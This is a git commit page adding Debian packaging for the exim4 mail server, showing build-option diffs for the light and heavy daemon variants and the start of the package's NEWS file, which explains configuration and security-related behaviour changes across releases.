diff options
author | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-05-06 00:47:27 +0000 |
---|---|---|
committer | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-05-06 00:47:27 +0000 |
commit | d5eb37dd4a5a433c40c3c1e7ead424add62663f8 (patch) | |
tree | 6a18289cb463d11227d1fa4c990548e50a09d917 | |
parent | Adding upstream version 4.92. (diff) | |
download | exim4-debian.tar.xz exim4-debian.zip |
Adding debian version 4.92-8+deb10u6.debian/4.92-8+deb10u6debian
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to '')
284 files changed, 66370 insertions, 0 deletions
diff --git a/debian/EDITME.exim4-heavy.diff b/debian/EDITME.exim4-heavy.diff new file mode 100644 index 0000000..b2c7b4e --- /dev/null +++ b/debian/EDITME.exim4-heavy.diff @@ -0,0 +1,158 @@ +--- EDITME.exim4-light 2019-04-16 15:54:51.009790678 +0000 ++++ EDITME.exim4-heavy 2019-04-16 15:54:44.177917231 +0000 +@@ -217,7 +217,7 @@ + + # This one is very special-purpose, so is not included by default. + +-# ROUTER_IPLOOKUP=yes ++ROUTER_IPLOOKUP=yes + + + #------------------------------------------------------------------------------ +@@ -249,7 +249,7 @@ + + SUPPORT_MAILDIR=yes + SUPPORT_MAILSTORE=yes +-# SUPPORT_MBX=yes ++SUPPORT_MBX=yes + + + #------------------------------------------------------------------------------ +@@ -310,16 +310,16 @@ + LOOKUP_CDB=yes + LOOKUP_DSEARCH=yes + # LOOKUP_IBASE=yes +-# LOOKUP_LDAP=yes +-# LOOKUP_MYSQL=yes ++LOOKUP_LDAP=yes ++LOOKUP_MYSQL=yes + # LOOKUP_MYSQL_PC=mariadb + LOOKUP_NIS=yes + # LOOKUP_NISPLUS=yes + # LOOKUP_ORACLE=yes + LOOKUP_PASSWD=yes +-# LOOKUP_PGSQL=yes ++LOOKUP_PGSQL=yes + # LOOKUP_REDIS=yes +-# LOOKUP_SQLITE=yes ++LOOKUP_SQLITE=yes + # LOOKUP_SQLITE_PC=sqlite3 + # LOOKUP_WHOSON=yes + +@@ -340,7 +340,7 @@ + # with Solaris 7 onwards. Uncomment whichever of these you are using. + + # LDAP_LIB_TYPE=OPENLDAP1 +-# LDAP_LIB_TYPE=OPENLDAP2 ++LDAP_LIB_TYPE=OPENLDAP2 + # LDAP_LIB_TYPE=NETSCAPE + # LDAP_LIB_TYPE=SOLARIS + +@@ -385,6 +385,9 @@ + # LOOKUP_LIBS=-L/usr/local/lib -lldap -llber -lmysqlclient -lpq -lgds -lsqlite3 + + ++LOOKUP_INCLUDE=-I/usr/include/mysql -I`pg_config --includedir` ++LOOKUP_LIBS=-lldap -llber -lmysqlclient -lpq -lsqlite3 ++ + #------------------------------------------------------------------------------ + # Compiling the Exim monitor: If you want to compile the Exim monitor, a + # program that requires an X11 display, then EXIM_MONITOR should be set to the +@@ -393,7 +396,7 @@ + # files are defaulted in the OS/Makefile-Default file, but can be overridden in + # local OS-specific make files. + +-EXIM_MONITOR=eximon.bin ++# EXIM_MONITOR=eximon.bin + + + #------------------------------------------------------------------------------ +@@ -403,7 +406,7 @@ + # and the MIME ACL. Please read the documentation to learn more about these + # features. + +-# WITH_CONTENT_SCAN=yes ++WITH_CONTENT_SCAN=yes + + # If you have content scanning you may wish to only include some of the scanner + # interfaces. Uncomment any of these lines to remove that code. +@@ -645,16 +648,16 @@ + # configuration to make use of the mechanism(s) selected. + + AUTH_CRAM_MD5=yes +-# AUTH_CYRUS_SASL=yes +-# AUTH_DOVECOT=yes ++AUTH_CYRUS_SASL=yes ++AUTH_DOVECOT=yes + # AUTH_GSASL=yes + # AUTH_GSASL_PC=libgsasl + # AUTH_HEIMDAL_GSSAPI=yes + # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi + # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi heimdal-krb5 + AUTH_PLAINTEXT=yes +-# AUTH_SPA=yes +-# AUTH_TLS=yes ++AUTH_SPA=yes ++AUTH_TLS=yes + + # Heimdal through 1.5 required pkg-config 'heimdal-gssapi'; Heimdal 7.1 + # requires multiple pkg-config files to work with Exim, so the second example +@@ -667,7 +670,7 @@ + # Similarly for GNU SASL, unless pkg-config is used via AUTH_GSASL_PC. + # Ditto for AUTH_HEIMDAL_GSSAPI(_PC). + +-# AUTH_LIBS=-lsasl2 ++AUTH_LIBS=-lsasl2 + # AUTH_LIBS=-lgsasl + # AUTH_LIBS=-lgssapi -lheimntlm -lkrb5 -lhx509 -lcom_err -lhcrypto -lasn1 -lwind -lroken -lcrypt + +@@ -945,7 +948,7 @@ + # (version 5.004 or later) installed, set EXIM_PERL to perl.o. Using embedded + # Perl costs quite a lot of resources. Only do this if you really need it. + +-# EXIM_PERL=perl.o ++EXIM_PERL=perl.o + + + #------------------------------------------------------------------------------ +@@ -955,7 +958,7 @@ + # that the local_scan API is made available by the linker. You may also need + # to add -ldl to EXTRALIBS so that dlopen() is available to Exim. + +-# EXPAND_DLFUNC=yes ++EXPAND_DLFUNC=yes + + + #------------------------------------------------------------------------------ +@@ -965,11 +968,11 @@ + # support, which is intended for use in conjunction with the SMTP AUTH + # facilities, is included only when requested by the following setting: + +-# SUPPORT_PAM=yes ++SUPPORT_PAM=yes + + # You probably need to add -lpam to EXTRALIBS, and in some releases of + # GNU/Linux -ldl is also needed. +-EXTRALIBS=-ldl ++EXTRALIBS=-lpam -export-dynamic + + + #------------------------------------------------------------------------------ +@@ -983,7 +986,7 @@ + # If you may want to use inbound (server-side) proxying, using Proxy Protocol, + # uncomment the line below. + +-# SUPPORT_PROXY=yes ++SUPPORT_PROXY=yes + + + #------------------------------------------------------------------------------ +@@ -1338,7 +1341,7 @@ + # local part) can be increased by changing this value. It should be set to + # a multiple of 16. + +-# MAX_NAMED_LIST=16 ++MAX_NAMED_LIST=32 + + + #------------------------------------------------------------------------------ diff --git a/debian/EDITME.exim4-light.diff b/debian/EDITME.exim4-light.diff new file mode 100644 index 0000000..dc04331 --- /dev/null +++ b/debian/EDITME.exim4-light.diff @@ -0,0 +1,255 @@ +--- src/EDITME 2019-04-16 15:52:53.000000000 +0000 ++++ EDITME.exim4-light 2019-04-16 15:54:51.009790678 +0000 +@@ -98,7 +98,7 @@ + # /usr/local/sbin. The installation script will try to create this directory, + # and any superior directories, if they do not exist. + +-BIN_DIRECTORY=/usr/exim/bin ++BIN_DIRECTORY=/usr/sbin + + + #------------------------------------------------------------------------------ +@@ -114,7 +114,7 @@ + # don't exist. It will also install a default runtime configuration if this + # file does not exist. + +-CONFIGURE_FILE=/usr/exim/configure ++CONFIGURE_FILE=/etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated + + # It is possible to specify a colon-separated list of files for CONFIGURE_FILE. + # In this case, Exim will use the first of them that exists when it is run. +@@ -131,7 +131,7 @@ + # deliveries. (Local deliveries run as various non-root users, typically as the + # owner of a local mailbox.) Specifying these values as root is not supported. + +-EXIM_USER= ++EXIM_USER=ref:Debian-exim + + # If you specify EXIM_USER as a name, this is looked up at build time, and the + # uid number is built into the binary. However, you can specify that this +@@ -153,6 +153,7 @@ + # you want to use a group other than the default group for the given user. + + # EXIM_GROUP= ++EXIM_GROUP=ref:Debian-exim + + # Many sites define a user called "exim", with an appropriate default group, + # and use +@@ -173,7 +174,7 @@ + + # Almost all installations choose this: + +-SPOOL_DIRECTORY=/var/spool/exim ++SPOOL_DIRECTORY=/var/spool/exim4 + + + +@@ -237,7 +238,7 @@ + # This one is special-purpose, and commonly not required, so it is not + # included by default. + +-# TRANSPORT_LMTP=yes ++TRANSPORT_LMTP=yes + + + #------------------------------------------------------------------------------ +@@ -246,8 +247,8 @@ + # MBX, is included only when requested. If you do not know what this is about, + # leave these settings commented out. + +-# SUPPORT_MAILDIR=yes +-# SUPPORT_MAILSTORE=yes ++SUPPORT_MAILDIR=yes ++SUPPORT_MAILSTORE=yes + # SUPPORT_MBX=yes + + +@@ -306,16 +307,16 @@ + LOOKUP_LSEARCH=yes + LOOKUP_DNSDB=yes + +-# LOOKUP_CDB=yes +-# LOOKUP_DSEARCH=yes ++LOOKUP_CDB=yes ++LOOKUP_DSEARCH=yes + # LOOKUP_IBASE=yes + # LOOKUP_LDAP=yes + # LOOKUP_MYSQL=yes + # LOOKUP_MYSQL_PC=mariadb +-# LOOKUP_NIS=yes ++LOOKUP_NIS=yes + # LOOKUP_NISPLUS=yes + # LOOKUP_ORACLE=yes +-# LOOKUP_PASSWD=yes ++LOOKUP_PASSWD=yes + # LOOKUP_PGSQL=yes + # LOOKUP_REDIS=yes + # LOOKUP_SQLITE=yes +@@ -367,7 +368,7 @@ + # Uncomment the following line to add DANE support + # Note: Enabling this unconditionally overrides DISABLE_DNSSEC + # For DANE under GnuTLS we need an additional library. See TLS_LIBS below. +-# SUPPORT_DANE=yes ++SUPPORT_DANE=yes + + #------------------------------------------------------------------------------ + # Additional libraries and include directories may be required for some +@@ -595,7 +596,7 @@ + # CONFIGURE_OWNER setting, to specify a configuration file which is listed in + # the TRUSTED_CONFIG_LIST file, then root privileges are not dropped by Exim. + +-# TRUSTED_CONFIG_LIST=/usr/exim/trusted_configs ++TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs + + + #------------------------------------------------------------------------------ +@@ -631,6 +632,9 @@ + + # WHITELIST_D_MACROS=TLS:SPOOL + ++# Mailscanner uses -DOUTGOING. ++WHITELIST_D_MACROS=OUTGOING ++ + #------------------------------------------------------------------------------ + # Exim has support for the AUTH (authentication) extension of the SMTP + # protocol, as defined by RFC 2554. If you don't know what SMTP authentication +@@ -640,7 +644,7 @@ + # included in the Exim binary. You will then need to set up the run time + # configuration to make use of the mechanism(s) selected. + +-# AUTH_CRAM_MD5=yes ++AUTH_CRAM_MD5=yes + # AUTH_CYRUS_SASL=yes + # AUTH_DOVECOT=yes + # AUTH_GSASL=yes +@@ -648,7 +652,7 @@ + # AUTH_HEIMDAL_GSSAPI=yes + # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi + # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi heimdal-krb5 +-# AUTH_PLAINTEXT=yes ++AUTH_PLAINTEXT=yes + # AUTH_SPA=yes + # AUTH_TLS=yes + +@@ -674,7 +678,7 @@ + # one that is set in the headers_charset option. The default setting is + # defined by this setting: + +-HEADERS_CHARSET="ISO-8859-1" ++HEADERS_CHARSET="UTF-8" + + # If you are going to make use of $header_xxx expansions in your configuration + # file, or if your users are going to use them in filter files, and the normal +@@ -763,7 +767,7 @@ + # leave these settings commented out. + + # This setting is required for any TLS support (either OpenSSL or GnuTLS) +-# SUPPORT_TLS=yes ++SUPPORT_TLS=yes + + # Uncomment one of these settings if you are using OpenSSL; pkg-config vs not + # USE_OPENSSL_PC=openssl +@@ -771,9 +775,9 @@ + + # Uncomment the first and either the second or the third of these if you + # are using GnuTLS. If you have pkg-config, then the second, else the third. +-# USE_GNUTLS=yes ++USE_GNUTLS=yes + # USE_GNUTLS_PC=gnutls +-# TLS_LIBS=-lgnutls -ltasn1 -lgcrypt ++TLS_LIBS=-lgnutls + + # If using GnuTLS older than 2.10 and using pkg-config then note that Exim's + # build process will require libgcrypt-config to exist in your $PATH. A +@@ -809,7 +813,7 @@ + # TLS_LIBS=-L/opt/gnu/lib -lgnutls -ltasn1 -lgcrypt + + # For DANE under GnuTLS we need an additional library. +-# TLS_LIBS += -lgnutls-dane ++TLS_LIBS += -lgnutls-dane + + # TLS_LIBS is included only on the command for linking Exim itself, not on any + # auxiliary programs. If the include files are not in a standard place, you can +@@ -830,6 +834,7 @@ + # description of the API to this function, see the Exim specification. + + DLOPEN_LOCAL_SCAN=yes ++HAVE_LOCAL_SCAN=yes + + # If you set DLOPEN_LOCAL_SCAN, then you need to include -rdynamic in the + # linker flags. Without it, the loaded .so won't be able to access any +@@ -868,6 +873,7 @@ + # to form the final file names. Some installations may want something like this: + + # LOG_FILE_PATH=/var/log/exim_%slog ++LOG_FILE_PATH=/var/log/exim4/%slog + + # which results in files with names /var/log/exim_mainlog, etc. The directory + # in which the log files are placed must exist; Exim does not try to create +@@ -916,7 +922,7 @@ + # files. Both the name of the command and the suffix that it adds to files + # need to be defined here. See also the EXICYCLOG_MAX configuration. + +-COMPRESS_COMMAND=/usr/bin/gzip ++COMPRESS_COMMAND=/bin/gzip + COMPRESS_SUFFIX=gz + + +@@ -931,7 +937,7 @@ + # ZCAT_COMMAND=zcat + # + # Or specify the full pathname: +-ZCAT_COMMAND=/usr/bin/zcat ++ZCAT_COMMAND=zcat + + #------------------------------------------------------------------------------ + # Compiling in support for embedded Perl: If you want to be able to +@@ -963,6 +969,7 @@ + + # You probably need to add -lpam to EXTRALIBS, and in some releases of + # GNU/Linux -ldl is also needed. ++EXTRALIBS=-ldl + + + #------------------------------------------------------------------------------ +@@ -971,7 +978,7 @@ + # If you may want to use outbound (client-side) proxying, using Socks5, + # uncomment the line below. + +-# SUPPORT_SOCKS=yes ++SUPPORT_SOCKS=yes + + # If you may want to use inbound (server-side) proxying, using Proxy Protocol, + # uncomment the line below. +@@ -1069,6 +1076,8 @@ + + # CYRUS_SASLAUTHD_SOCKET=/var/state/saslauthd/mux + ++# default in Debian's sasl2-bin ++CYRUS_SASLAUTHD_SOCKET=/var/run/saslauthd/mux + + #------------------------------------------------------------------------------ + # TCP wrappers: If you want to use tcpwrappers from within Exim, uncomment +@@ -1381,6 +1390,7 @@ + # file can be specified here. Some installations may want something like this: + + # PID_FILE_PATH=/var/lock/exim.pid ++PID_FILE_PATH=/run/exim4/exim.pid + + # If PID_FILE_PATH is not defined, Exim writes a file in its spool directory + # using the name "exim-daemon.pid". +@@ -1414,6 +1424,7 @@ + # messages become "invisible" to the normal management tools. + + # SUPPORT_MOVE_FROZEN_MESSAGES=yes ++SUPPORT_MOVE_FROZEN_MESSAGES=yes + + + #------------------------------------------------------------------------------ +@@ -1452,3 +1463,6 @@ + # ENABLE_DISABLE_FSYNC=yes + + # End of EDITME for Exim 4. ++ ++# enable IPv6 support ++HAVE_IPV6=YES diff --git a/debian/EDITME.eximon.diff b/debian/EDITME.eximon.diff new file mode 100644 index 0000000..7ea2784 --- /dev/null +++ b/debian/EDITME.eximon.diff @@ -0,0 +1,10 @@ +--- exim_monitor/EDITME 2018-03-15 20:22:06.000000000 +0000 ++++ EDITME.eximon 2018-03-16 18:27:06.609171034 +0000 +@@ -1,6 +1,7 @@ + ################################################## + # The Exim Monitor # + ################################################## ++# -*- makefile -*- + + # This is the template for the Exim monitor's main build-time configuration + # file. It contains settings that are independent of any operating system. It diff --git a/debian/EDITME.openssl.exim4-light.diff b/debian/EDITME.openssl.exim4-light.diff new file mode 100644 index 0000000..0dc9836 --- /dev/null +++ b/debian/EDITME.openssl.exim4-light.diff @@ -0,0 +1,19 @@ +--- EDITME.exim4-light 2017-10-28 08:02:20.930695089 +0200 ++++ EDITME.exim4-light 2017-10-28 08:03:25.433584564 +0200 +@@ -760,13 +760,13 @@ SUPPORT_TLS=yes + + # Uncomment one of these settings if you are using OpenSSL; pkg-config vs not + # USE_OPENSSL_PC=openssl +-# TLS_LIBS=-lssl -lcrypto ++TLS_LIBS=-lssl -lcrypto + + # Uncomment the first and either the second or the third of these if you + # are using GnuTLS. If you have pkg-config, then the second, else the third. +-USE_GNUTLS=yes ++# USE_GNUTLS=yes + # USE_GNUTLS_PC=gnutls +-TLS_LIBS=-lgnutls ++# TLS_LIBS=-lgnutls + + # If using GnuTLS older than 2.10 and using pkg-config then note that Exim's + # build process will require libgcrypt-config to exist in your $PATH. A diff --git a/debian/NEWS b/debian/NEWS new file mode 100644 index 0000000..ef106e2 --- /dev/null +++ b/debian/NEWS @@ -0,0 +1,450 @@ +exim4 (4.87-3) unstable; urgency=medium + + Starting with 4.87~RC1-1 exim will not accept or send out messages with + physical lines longer than 998 characters by SMTP DATA. Delivery of such + RFC-violating message might fail and subsequently cause routing errors and + loss of legitimate mail. See <https://bugs.exim.org/show_bug.cgi?id=1684>. + This limit can be disabled by setting the macro + IGNORE_SMTP_LINE_LENGTH_LIMIT. + + -- Andreas Metzler <ametzler@debian.org> Sun, 08 May 2016 14:03:10 +0200 + +exim4 (4.87-2) unstable; urgency=medium + + exim4-daemon heavy does not support the "demime" ACL condition + (WITH_OLD_DEMIME) anymore. It was superceded by the acl_smtp_mime ACL and + will not be part of the next upstream release. + + -- Andreas Metzler <ametzler@debian.org> Sat, 30 Apr 2016 13:38:29 +0200 + +exim4 (4.87~RC6-3) unstable; urgency=medium + + As part of the fix for CVE-2016-1531 updated Exim versions clean + the complete execution environment by default, affecting Exim and + subprocesses such as routers calling other programs, and thus may break + existing installations. New configuration options (keep_environment, + add_environment) were introduced to adjust this behavior. Because of the + possible breakage Exim will show a runtime warning if keep_environment is + not set. + + The Debian exim4 configuration does not rely on specific environment + variables and therefore sets 'keep_environment =' (i.e confirm empty + environment). + + Users of custom Exim configurations will need to check whether their setup + continues to work with the abovementioned upstream change and modify the + Exim environment as needed otherwise. If the setup works fine with empty + environment it is still necessary to set the main configuration option + "keep_environment =" to quiet the runtime warning. + + See <https://exim.org/static/doc/CVE-2016-1531.txt> for details. + + -- Andreas Metzler <ametzler@debian.org> Wed, 23 Mar 2016 18:44:22 +0100 + +exim4 (4.80~rc6-1) experimental; urgency=low + + Upstream's handling of GnuTLS DH parameters has changed, hardcoded + parameters (from RFCs are used by default. See + /usr/share/doc/exim4-base/README.UPDATING* for details. Stop shipping + /usr/share/exim4/exim4_refresh_gnutls-params /usr/share/exim4/timeout.pl + and /var/spool/exim4/gnutls-params-2236. + + -- Andreas Metzler <ametzler@debian.org> Sun, 27 May 2012 18:46:48 +0200 + +exim4 (4.80~rc2-1) experimental; urgency=low + + Ldap lookups returning multi-valued attributes now separate the attributes + with only a comma, not a comma-space sequence. + + The GnuTLS support has been mostly rewritten. exim main configuration + options gnutls_require_kx, gnutls_require_mac and gnutls_require_protocols, + are no longer supported. (They are ignored if present now, but will trigger + an error in later releases.) Their functionality is entirely subsumed into + tls_require_ciphers. In turn, tls_require_ciphers is no longer an Exim list + and is not parsed by Exim, but is instead given to gnutls_priority_init(3). + + See /exim4-base/usr/share/doc/exim4-base/README.UPDATING.gz for details. + + -- Andreas Metzler <ametzler@debian.org> Sat, 22 Oct 2011 19:16:58 +0200 + +exim4 (4.77~rc4-1) experimental; urgency=low + + Exim no longer performs string expansion on the second string of + the match_* expansion conditions: "match_address", "match_domain", + "match_ip" & "match_local_part". Named lists can still be used. + + The previous behavior made it too easy to create (remotely) vulnerable + configurations. A more detailed rationale and explanation can be found on + https://lists.exim.org/lurker/message/20111003.122326.fbcf32b7.en.html + + -- Andreas Metzler <ametzler@debian.org> Thu, 05 Oct 2011 19:22:52 +0200 + +exim4 (4.72-3) unstable; urgency=low + + Exim versions up to and including 4.72 are vulnerable to CVE-2010-4345. + This is a privilege escalation issue that allows the exim user to gain + root privileges by specifying an alternate configuration file using the -C + option. The macro override facility (-D) might also be misused for this + purpose. + + In reaction to this security vulnerability upstream has made a number of + user visible changes. This package includes these changes. + --------------------------------------------------------- + If exim is invoked with the -C or -D option the daemon will not regain + root privileges though re-execution. This is usually necessary for local + delivery, though. Therefore it is generally not possible anymore to run an + exim daemon with -D or -C options. + + However this version of exim has been built with + TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs. TRUSTED_CONFIG_LIST + defines a list of configuration files which are trusted; if a config file + is owned by root and matches a pathname in the list, then it may be + invoked by the Exim build-time user without Exim relinquishing root + privileges. + + As a hotfix to not break existing installations of mailscanner we have + also set WHITELIST_D_MACROS=OUTGOING. i.e. it is still possible to start + exim with -DOUTGOING while being able to do local deliveries. + + If you previously were using -D switches you will need to change your + setup to use a separate configuration file. The ".include" mechanism + makes this easy. + --------------------------------------------------------- + The system filter is run as exim_user instead of root by default. If your + setup requies root privileges when running the system filter you will + need to set the system_filter_user exim main configuration option. + --------------------------------------------------------- + + -- Andreas Metzler <ametzler@debian.org> Sat, 18 Dec 2010 18:57:16 +0100 + +exim4 (4.69-4) unstable; urgency=low + + In reaction to #475194, the size of the Diffie-Hellman parameters + used by exim was increased to 2048, which is GnuTLS's default. + + Since periodically regenerating the Diffie-Hellman parameters + doesn't increase security that much (they're sent in clear text in the + TLS handshake, and some protocols even have hardcoded them in the + standard document), and automatically generating 2048 bits + Diffie-Hellman parameters can take a long time, this has been disabled + in the Exim4 packages starting with 4.69-4. All exim installations + will thus run with the Diffie-Hellman parameters shipped in the + package by default. + + Really, really paranoid people with sufficiently fast machines will + want to set up a cron job calling + /usr/share/exim4/exim4_refresh_gnutls-params manually - suggested + interval is weekly or monthly. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 27 Apr 2008 09:14:32 +0200 + +exim4 (4.68-1) unstable; urgency=low + + In order to fix #420217, the handling of incoming messages to + system accounts has been changed once again. To allow system + account mail addresses to be redirected via traditional + /etc/aliases, system accounts are now processed later in the + router chain. + + This has made it necessary to change the default behavior of the + real- prefix. real-foo is now only accessible for locally + generated messages, such as the error message generated by the + userforward router. If you need the old behavior back, set the + macro COND_LOCAL_SUBMITTER=true. As a side-effect, you can + entirely switch off the real- processing by setting + COND_LOCAL_SUBMITTER=false. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 04 Oct 2007 22:34:01 +0200 + +exim4 (4.67-6) unstable; urgency=low + + acl_whitelist_local_deny was renamed to acl_local_deny_exceptions + to avoid confusion. This means changes to ACLs, file names in + /etc/exim4/conf.d/acl and the exception list file names themselves. + + CONFDIR/local_host_whitelist and CONFDIR/local_sender_whitelist + have been renamed to CONFDIR/host_local_deny_exceptions and + CONFDIR/sender_local_deny_exceptions. The old files will continue + to be honored for a transition period. + + The old file conf.d/acl/20_exim4-config_whitelist_local_deny will + get a .dpkg-bak suffix if it had local changes, and it will be + removed if there were no local changes. In the case of local changes, + you'll need to repeat these changes in the new file + conf.d/acl/20_exim4-config_local_deny_exceptions. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 05 Sep 2007 21:22:22 +0200 + +exim4 (4.67-5) unstable; urgency=low + + The macro generation in update-exim4.conf has been changed once + more. update-exim4.conf now looks for the (non-commented!) + definition of the exim configuration macro UPEX4CmacrosUPEX4C to + an arbitrary, non-empty value, and inserts the generated macro + definitions right after this line, without changing it. + + update-exim4.conf looks for commented UPEX4CmacrosUPEX4C (which + used to be the place marker in earlier 4.67-x versions) and barfs + if it finds them anywhere in /etc/exim4/exim4.conf.template or + recursively /etc/exim4/conf.d. This check - as a feature - also + includes files that would normally be excluded by + update-exim4.conf, such as .dpkg-old and .dpkg-dist files. + + If you insist on having a commented UPEX4CmacrosUPEX4C in your + exim configuration and don't want update-exim4.conf to barf, set + the exim macro UPEX4CmacrosOK_config_adapted to a non-empty value. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 28 Jun 2007 08:29:36 +0200 + +exim4 (4.67-4) unstable; urgency=low + + Since a lot of users did not read the docs while upgrading and + filed bug reports about exim4-config failing to install due to a + "malformed macro definition", update-exim4.conf.conf now checks + for DEBCONFsomethingDEBCONF strings anywhere in + /etc/exim4/exim4.conf.template or recursively /etc/exim4/conf.d + and barfs if such strings are found. This check - as a feature - also + includes files that would normally be excluded by + update-exim4.conf. + + It _is_ necessary to either accept the offered configuration file + change _or_ to manually check a manually changed exim config. Exim + will _NOT_ run if a configuration file of an older version is + being used with a more recent exim4-config. + + If you insist on having DEBCONFsomethingDEBCONF strings in your + exim configuration and don't want update-exim4.conf to barf, set + the exim macro DEBCONFstringOK_config_adapted to a non-empty + value. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 22 Jun 2007 12:50:38 +0200 + +exim4 (4.67-2) experimental; urgency=low + + The symlink /etc/exim4/email-addresses caused data loss for people + who had a local file named /etc/exim4/email-addresses. The Debian + tools do not handle symlinks in /etc which are contained in + packages very well, so we decided to simply remove it. Please + submit a tested patch if you think that it would be a more elegant + way to handle the transition from /etc/exim4/email-addresses to + /etc/email-addresses. + + There is now a possibility to modify handling of incoming messages + to system accounts, identified by their UID (see + conf.d/router/250_exim4-config_lowuid). If you want this, set the + macro FIRST_USER_ACCOUNT_UID (which defaults to 0) to the UID of + your first "real" user account. Incoming messages for an account + with an UID below that value get routed according to the extra + alias file /etc/exim4/lowuid-aliases. If an account does not have + an alias there, it gets routed to the value of the macro + DEFAULT_SYSTEM_ACCOUNT_ALIAS, which defaults to ":fail: no mail to + system accounts" and gets the message rejected. You can use this + mechanism to route all messages for system accounts to a single + address, with exceptions. Locally generated messages are not + processed by this facility. + + Generation of the final exim configuration has changed. The + configuration no longer has the DEBCONFsomethingDEBCONF + placeholders. All data from Debconf are put into exim + configuration macros by update-exim4.conf, which are then + appropriately picked up by the configuration itself. There should + be no visible change to people who have not modified their + configuration, but customized configurations need to adapt. + + We now do basic sanitizing of input read from + update-exim4.conf.conf. If your update-exim4.conf complains about + non-ascii values, you have found a bug. Please report it. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 11 Jun 2007 14:09:24 +0200 + +exim4 (4.62-7) unstable; urgency=low + + Bug #392993 says that 4.63-5 and -6 have overwritten manual + setting of dc_local_delivery with one of the default versions if + you have set dc_local_delivery to a value that is not either + mail_spool or maildir_home. Please verify that your + dc_local_delivery does still point to the transport you have + chosen. + + Please note that the debconf configuration only supports plain + lists. Advanced features like "dsearch;" entered there may work + today, but are not guaranteed to continue working in the future. + + If you want to use such features, please use the macros made + available for use in the configuration or edit the configuration + itself. + + This allows us to use semicolons as list delimiters consistently + while still being backwards compatible to colon-separated lists + without driving code complexity up too high. + + Starting with this version, update-exim4.conf will print a warning + if a dsearch lookup is found in the list of local domains, + dc_local_domains since there is a HOWTO on the Internet that + recommends doing this kind of things and this will _not_ work any + more. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 15 Oct 2006 10:00:15 +0000 + +exim4 (4.62-4) unstable; urgency=low + + exim4-config has had its debconf templates re-worked. Basic + functionality is unchanged, so you shouldn't expect a real + difference. The priority of most questions has been lowered to + medium, so that the Installer can install exim4 with no questions + being asked. The default is local delivery only. Mail messages for + root and postmaster are delivered to an mbox file in + /var/mail/mail, make sure to read them. + + You can do the full exim4 configuration by calling + dpkg-reconfigure exim4-config as root. + + It is now finally possible to configure exim4 to deliver outgoing + mail to a smarthost on a port number different from 25 via debconf. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 9 Oct 2006 14:12:25 +0000 + +exim4 (4.62-3) unstable; urgency=low + + A template for SPF support is now provided. It is disabled by + default, and relies on external calls to spfquery(1) from the + libmail-spf-query-perl package. For details, check README.Debian, + and conf.d/acl/30_exim4-config_check_rcpt. + + -- Robert Millan <rmh@aybabtu.com> Fri, 28 Jul 2006 22:43:56 +0200 + +exim4 (4.62-1) unstable; urgency=low + + Please note that the handling of update-exim4.conf.conf has + changed with regard to dc_local_interfaces and dc_relay_nets: If + the strings given there contain a semicolon, the string "<;" is + now prepended to the value written to the configuration file to + consider ; a list separator. This significantly helps writing down + IPv6 addresses, but means that if you use complex things like + lookups in update-exim4.conf.conf, you'll have to change your + configuration to use the macros that directly interfere with the + configuration. + + 127.0.0.1 and ::1 have been removed from the default hostlist + relay_from_hosts - these addresses are now added by + update-exim4.conf with the appropriate separator. If you set + MAIN_RELAY_NETS manually, you'll need to add these two addresses + to your local host list. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 29 Apr 2006 22:36:31 +0000 + +exim4 (4.60-2) unstable; urgency=low + + The exim4 daemon packages now include a symlink from + /usr/sbin/exim4 to /usr/sbin/exim. This can break exim 3 cron and + init scripts if the last exim 3 you had installed was any earlier + than 3.36-5 and the conffiles from your exim 3 package are still + around. Be sure to have any exim 4 earlier than 3.36-5 _purged_ + (not removed) before installing this package. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 24 Jan 2006 14:58:08 +0100 + +exim4 (4.50-5) unstable; urgency=low + + mailname, the local name of the system used to qualify senders and + recipients is no longer a local domain by default. Having local + delivery for that host name used to break satellite and smarthost + setups where no local delivery was expected. + /etc/exim4/update-exim4.conf.conf is modified automatically on + upgrade from the appropriate earlier versions, so if you don't do any + funky things with /etc/exim4/update-exim4.conf.conf, you should be fine. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 2 Apr 2005 20:31:27 +0200 + +exim4 (4.43-3) unstable; urgency=low + + /etc/exim4/email-addresses is ignored now, please use /etc/email-addresses! + The last version of exim4 that shipped this file was uploaded on the + 19th of May 2003, and I really do not want to start sarge with cruft like + that. + + -- Andreas Metzler <ametzler@debian.org> Mon, 10 Jan 2004 10:05:34 +0100 + +exim4 (4.34-1) unstable; urgency=low + + Debconf will not ask for relay_domains if configuring smarthost or + satellite-type systems. - This functionality was untested and could + generate mail-loops. + + -- Andreas Metzler <ametzler@debian.org> Wed, 12 May 2004 13:42:23 +0200 + +exim4 (4.31-2) unstable; urgency=low + + The local_scan perl-plugin has been removed because upstream + development has stopped. (am) + + -- Andreas Metzler <ametzler@debian.org> Mon, 5 Apr 2004 15:55:12 +0200 + +exim4 (4.30-5) unstable; urgency=low + + (Re)introduce /etc/exim4/exim4.conf.template as alternative to the + multiple small files in /etc/exim4/conf.d/ and make it the default choice + for fresh installations. This trades in a loss of comfort (you will again + need to merge in each small change manually) for increased stability. + + -- Andreas Metzler <ametzler@debian.org> Sun, 11 Jan 2004 13:03:43 +0100 + +exim4 (4.30-1) unstable; urgency=low + + * Exim now runs under its own uid (Debian-exim) instead of using mail:mail. + + WARNING: You cannot downgrade this version to an older one without + manual chown|chrgrp all files owned by Debian-exim to mail. + + Securitywise this is a tradeoff: + - if exim is SUID root and runs without deliver_drop_privilege you win: + exim's internal data in 